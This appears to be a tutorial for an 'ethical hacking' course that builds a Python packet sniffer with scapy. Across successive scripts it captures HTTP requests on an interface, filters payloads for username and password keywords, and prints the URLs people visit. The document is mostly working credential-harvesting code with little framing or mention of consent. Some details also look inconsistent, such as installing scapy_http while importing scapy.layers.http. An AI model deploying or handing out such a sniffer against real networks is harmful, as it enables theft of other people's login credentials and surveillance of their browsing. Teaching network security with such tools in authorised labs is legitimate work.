Python Ethical Hacking - Packet Sniffer(1)

PACKET_SNIFFER

• Capture data flowing through an interface.
• Filter this data.
• Display Interesting information such as:
  • Login info(username&password).
  • Visited websites.
  • Images.
  • ...etc

 

PACKET_SNIFFER

CAPTURE & FILTER DATA

• scapy has a sniffer function.
• Can capture data sent to/from iface.
• Can call a function specified in prn on each packet.

Install the third party package.

 pip install scapy_http

 

1. Write the Python to sniff all the Raw packets.

#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *

def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        if packet.haslayer(scapy.all.Raw):
            print(packet.show())

sniff("eth0")

Execute the script and sniff the packets on eth0.

 

2. Filter the useful packets

#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *

def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)

def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        if packet.haslayer(scapy.all.Raw):
            print(packet[scapy.all.Raw].load)

sniff("eth0")

 Execute the script and sniff the packets on eth0.

 

Rewrite the Python Script to filter the keywords.

#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *


def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        if packet.haslayer(scapy.all.Raw):
            load = packet[scapy.all.Raw].load.decode(errors='ignore')
            keywords = ["username", "user", "login", "password", "pass"]
            for keyword in keywords:
                if keyword in load:
                    print(load)
                    break


sniff("eth0")

 Add the feature - Extracting URL

#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *


def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        url = packet[HTTPRequest].Host + packet[HTTPRequest].Path
        print(url)

        if packet.haslayer(scapy.all.Raw):
            load = packet[scapy.all.Raw].load.decode(errors='ignore')
            keywords = ["username", "user", "login", "password", "pass"]
            for keyword in keywords:
                if keyword in load:
                    print(load)
                    break


sniff("eth0")
